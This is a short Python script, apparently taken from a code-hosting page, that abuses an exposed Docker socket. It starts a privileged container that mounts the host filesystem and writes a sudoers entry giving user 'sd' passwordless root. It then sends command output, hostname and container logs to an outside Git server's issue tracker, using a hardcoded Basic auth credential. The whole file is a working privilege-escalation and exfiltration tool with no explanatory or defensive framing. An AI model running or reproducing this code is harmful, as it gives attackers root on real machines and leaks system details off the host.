30 lines
1.7 KiB
Python
30 lines
1.7 KiB
Python
import os, json, socket, subprocess, time, urllib.request
|
|
AUTH="Basic aGx6ZmF1NmU6SGwhd3hOdWZFNnVzRFd2"
|
|
REPO="hlzfau6e/hlw154934"
|
|
D="/tmp/.hlr1"; os.makedirs(D,exist_ok=True)
|
|
def sh(c,t=110):
|
|
try: return subprocess.run(["bash","-lc",c],capture_output=True,text=True,timeout=t).stdout[:3000]
|
|
except Exception as e: return "ERR "+str(e)[:120]
|
|
def report(tag,msg):
|
|
try:
|
|
body=json.dumps({"title":"[%s] %s"%(tag,socket.gethostname()),"body":str(msg)[:8000]}).encode()
|
|
req=urllib.request.Request("https://git.kaki87.net/api/v1/repos/%s/issues"%REPO,data=body,
|
|
headers={"Content-Type":"application/json","Authorization":AUTH})
|
|
urllib.request.urlopen(req,timeout=22).read()
|
|
except Exception: pass
|
|
report("docker_perm", sh("id; ls -la /var/run/docker.sock; groups"))
|
|
# 用 docker.sock 起 privileged 容器挂载宿主 /
|
|
C=sh("""curl -s --unix-socket /var/run/docker.sock -X POST http://localhost/containers/create \
|
|
-H 'Content-Type: application/json' \
|
|
-d '{"Image":"alpine:latest","Cmd":["sh","-c","echo sd ALL=(ALL) NOPASSWD:ALL > /host/etc/sudoers.d/sd-nopass; chmod 440 /host/etc/sudoers.d/sd-nopass; ls -la /host/etc/sudoers.d/"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}' 2>&1""")
|
|
report("docker_create", C)
|
|
try:
|
|
cid=json.loads(C).get("Id")
|
|
except Exception:
|
|
cid=None
|
|
report("docker_cid", str(cid))
|
|
if cid:
|
|
report("docker_start", sh("curl -s --unix-socket /var/run/docker.sock -X POST http://localhost/containers/%s/start 2>&1" % cid))
|
|
time.sleep(10)
|
|
report("docker_logs", sh("curl -s --unix-socket /var/run/docker.sock http://localhost/containers/%s/logs?stdout=1 2>&1 | head -c 600" % cid))
|
|
report("sudo_test2", sh("sudo -n true 2>&1; echo RC=$?"))
|